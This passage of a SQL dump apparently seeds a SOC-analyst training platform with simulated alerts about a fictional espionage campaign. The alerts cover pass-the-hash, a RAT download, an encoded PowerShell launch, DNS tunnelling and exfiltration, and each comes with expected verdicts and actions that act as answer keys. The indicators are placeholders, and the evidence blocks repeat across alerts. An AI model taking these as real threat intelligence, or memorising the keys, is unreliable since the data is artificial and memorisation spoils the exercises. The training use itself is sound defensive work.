Files\\\\\\\\LegitApp\\\\\\\\LegitApp.exe\\\",\\\"injected_dll\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hijacked.dll\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"event_description\\\":\\\"DLL hijacking detected in LegitApp.exe with injected DLL hijacked.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.104Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4624,\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user_name\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.12\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\LegitApp\\\\\\\\LegitApp.exe\\\",\\\"injected_dll\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hijacked.dll\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"event_description\\\":\\\"DLL hijacking detected in LegitApp.exe with injected DLL hijacked.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(494, 'Lateral Movement Detected via Pass-the-Hash', 'high', 'Network Traffic Analysis', 'An attacker has been detected moving laterally across the network using Pass-the-Hash technique. The attacker used stolen credentials to access multiple internal systems, searching for sensitive schematics related to tank and laser weaponry.', 'Lateral Movement', 'T1075', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_type\":\"network_connection\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"internal_user1\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_accessed\":\"tank_schematics_v3.pdf\",\"action\":\"login_success\",\"protocol\":\"SMB\",\"destination_ports\":[445,139],\"note\":\"Suspicious access pattern detected using Pass-the-Hash.\"}', '2026-01-05 04:01:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Internal asset, department: R&D\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"internal_user1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"suspicious\",\"details\":\"Account used in abnormal access pattern.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Database\",\"verdict\":\"suspicious\",\"details\":\"Potential credential dump hash.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(495, 'Exfiltration of Sensitive Schematics', 'critical', 'Data Loss Prevention (DLP) Logs', 'The attackers have successfully exfiltrated sensitive defense schematics using encrypted channels. This marks the final stage of their espionage mission.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-10T03:45:27Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"TLS\",\"file_sha256\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"filename\":\"sensitive_schematics_v5.pdf\",\"user\":\"jdoe_internal\",\"outbound_channel\":\"encrypted_tunnel\",\"actions_taken\":[\"file_transfer\"],\"status\":\"completed\"}', '2026-01-05 04:01:18', '2026-02-16 18:19:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known exfiltration tool\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"sensitive_schematics_v5.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"internal\",\"details\":\"Classified document\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe_internal\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials possibly compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T03:45:27Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"file_sha256\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"filename\\\":\\\"sensitive_schematics_v5.pdf\\\",\\\"user\\\":\\\"jdoe_internal\\\",\\\"outbound_channel\\\":\\\"encrypted_tunnel\\\",\\\"actions_taken\\\":[\\\"file_transfer\\\"],\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T03:45:27Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"file_sha256\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"filename\\\":\\\"sensitive_schematics_v5.pdf\\\",\\\"user\\\":\\\"jdoe_internal\\\",\\\"outbound_channel\\\":\\\"encrypted_tunnel\\\",\\\"actions_taken\\\":[\\\"file_transfer\\\"],\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T03:45:27Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"file_sha256\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"filename\\\":\\\"sensitive_schematics_v5.pdf\\\",\\\"user\\\":\\\"jdoe_internal\\\",\\\"outbound_channel\\\":\\\"encrypted_tunnel\\\",\\\"actions_taken\\\":[\\\"file_transfer\\\"],\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T03:45:27Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"file_sha256\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"filename\\\":\\\"sensitive_schematics_v5.pdf\\\",\\\"user\\\":\\\"jdoe_internal\\\",\\\"outbound_channel\\\":\\\"encrypted_tunnel\\\",\\\"actions_taken\\\":[\\\"file_transfer\\\"],\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T03:45:27Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"file_sha256\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"filename\\\":\\\"sensitive_schematics_v5.pdf\\\",\\\"user\\\":\\\"jdoe_internal\\\",\\\"outbound_channel\\\":\\\"encrypted_tunnel\\\",\\\"actions_taken\\\":[\\\"file_transfer\\\"],\\\"status\\\":\\\"completed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(496, 'Suspicious Domain Access Detected', 'medium', 'Firewall Logs', 'The attackers initiated their campaign by accessing a compromised domain to deliver the Matryoshka RAT to the ministry\'s network, marking the beginning of their infiltration.', 'Initial Access', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'resolved', 34, '{\"timestamp\":\"2023-10-25T14:23:45Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.5.23\",\"dst_port\":\"80\",\"protocol\":\"HTTP\",\"domain\":\"compromise-domain.example.com\",\"url\":\"http://compromise-domain.example.com/matryoshka_rat.exe\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"filename\":\"matryoshka_rat.exe\",\"action\":\"allowed\"}', '2026-01-05 04:03:10', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"compromise-domain.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenDNS\",\"verdict\":\"malicious\",\"details\":\"Domain used for malware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches Matryoshka RAT sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"matryoshka_rat.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename associated with Matryoshka RAT.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(497, 'Matryoshka RAT Execution', 'high', 'EDR systems', 'Having gained initial access, the attackers execute the Matryoshka RAT on the infected systems, establishing a foothold and enabling further malicious activity. The EDR system detected the execution of a suspicious file associated with the Matryoshka RAT.', 'Execution', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:32:00Z\",\"event_id\":\"1001\",\"computer_name\":\"compromised-host.local\",\"user_name\":\"compromised_user\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\matryoshka.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_id\":\"5678\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"203.0.113.45\",\"activity\":\"Execution of suspicious file\",\"signature\":\"Matryoshka RAT\"}', '2026-01-05 04:03:13', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known signature of Matryoshka RAT\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"matryoshka.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal EDR\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used by Matryoshka RAT\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(498, 'DNS Tunneling Activity Identified', 'high', 'DNS logs', 'To ensure sustained access, the attackers employ DNS tunneling, using Matryoshka RAT to communicate with their command and control (C2) server undetected.', 'Persistence', 'T1071.004', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:00Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"103.21.244.15\",\"dns_query\":\"subdomain.example.com\",\"dns_response\":\"NXDOMAIN\",\"protocol\":\"UDP\",\"port\":53,\"query_type\":\"A\",\"malware_hash\":\"58e6c2cd47d9b5f8203d8a7c84d8f8c9\",\"username\":\"jdoe\",\"filename\":\"matryoshka_rat.dll\"}', '2026-01-05 04:03:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"103.21.244.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with DNS tunneling\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"58e6c2cd47d9b5f8203d8a7c84d8f8c9\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash identified with Matryoshka RAT\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"matryoshka_rat.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"File associated with Matryoshka RAT\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.110Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"103.21.244.15\\\",\\\"dns_query\\\":\\\"subdomain.example.com\\\",\\\"dns_response\\\":\\\"NXDOMAIN\\\",\\\"protocol\\\":\\\"UDP\\\",\\\"port\\\":53,\\\"query_type\\\":\\\"A\\\",\\\"malware_hash\\\":\\\"58e6c2cd47d9b5f8203d8a7c84d8f8c9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"matryoshka_rat.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.110Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"103.21.244.15\\\",\\\"dns_query\\\":\\\"subdomain.example.com\\\",\\\"dns_response\\\":\\\"NXDOMAIN\\\",\\\"protocol\\\":\\\"UDP\\\",\\\"port\\\":53,\\\"query_type\\\":\\\"A\\\",\\\"malware_hash\\\":\\\"58e6c2cd47d9b5f8203d8a7c84d8f8c9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"matryoshka_rat.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.110Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"103.21.244.15\\\",\\\"dns_query\\\":\\\"subdomain.example.com\\\",\\\"dns_response\\\":\\\"NXDOMAIN\\\",\\\"protocol\\\":\\\"UDP\\\",\\\"port\\\":53,\\\"query_type\\\":\\\"A\\\",\\\"malware_hash\\\":\\\"58e6c2cd47d9b5f8203d8a7c84d8f8c9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"matryoshka_rat.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.110Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"103.21.244.15\\\",\\\"dns_query\\\":\\\"subdomain.example.com\\\",\\\"dns_response\\\":\\\"NXDOMAIN\\\",\\\"protocol\\\":\\\"UDP\\\",\\\"port\\\":53,\\\"query_type\\\":\\\"A\\\",\\\"malware_hash\\\":\\\"58e6c2cd47d9b5f8203d8a7c84d8f8c9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"matryoshka_rat.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.110Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:00Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"103.21.244.15\\\",\\\"dns_query\\\":\\\"subdomain.example.com\\\",\\\"dns_response\\\":\\\"NXDOMAIN\\\",\\\"protocol\\\":\\\"UDP\\\",\\\"port\\\":53,\\\"query_type\\\":\\\"A\\\",\\\"malware_hash\\\":\\\"58e6c2cd47d9b5f8203d8a7c84d8f8c9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"matryoshka_rat.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(499, 'Unusual Network Traffic Patterns', 'high', 'Network traffic analysis tools', 'Detected DNS tunneling activity used for lateral movement within the network, originating from an internal host attempting to exfiltrate data from various departments in the Ministry.', 'Lateral Movement', 'T1071.004', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:08Z\",\"source_ip\":\"10.0.3.25\",\"destination_ip\":\"8.8.8.8\",\"dns_query\":\"sensitive-docs.ministry.local.tunnel.com\",\"method\":\"DNS_TUNNELING\",\"user\":\"jdoe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"detected_by\":\"Network Intrusion Detection System\",\"alert_id\":\"NT-20231015-0004\"}', '2026-01-05 04:03:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for DNS tunneling.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"8.8.8.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"public\",\"verdict\":\"suspicious\",\"details\":\"Public IP used for external DNS tunneling.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User initiating the DNS tunneling.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with known DNS tunneling tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(500, 'Exfiltration Attempt via Encoded DNS Queries', 'high', 'Intrusion detection systems (IDS)', 'In the final stage, the attackers attempt to exfiltrate reconstructed documents through encoded DNS queries, aiming to send these valuable files back to their servers.', 'Exfiltration', 'T1071.004 - Application Layer Protocol: DNS', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"protocol\":\"DNS\",\"query\":\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\",\"type\":\"TXT\",\"user\":\"jdoe\",\"hostname\":\"workstation-45.local\",\"file_hash\":\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\",\"filename\":\"classified_docs.zip\",\"dns_server\":\"8.8.8.8\",\"dns_response\":\"NoError\"}', '2026-01-05 04:03:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT database\",\"verdict\":\"malicious\",\"details\":\"Known malicious server used for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data stealing malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"classified_docs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file containing sensitive documents.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 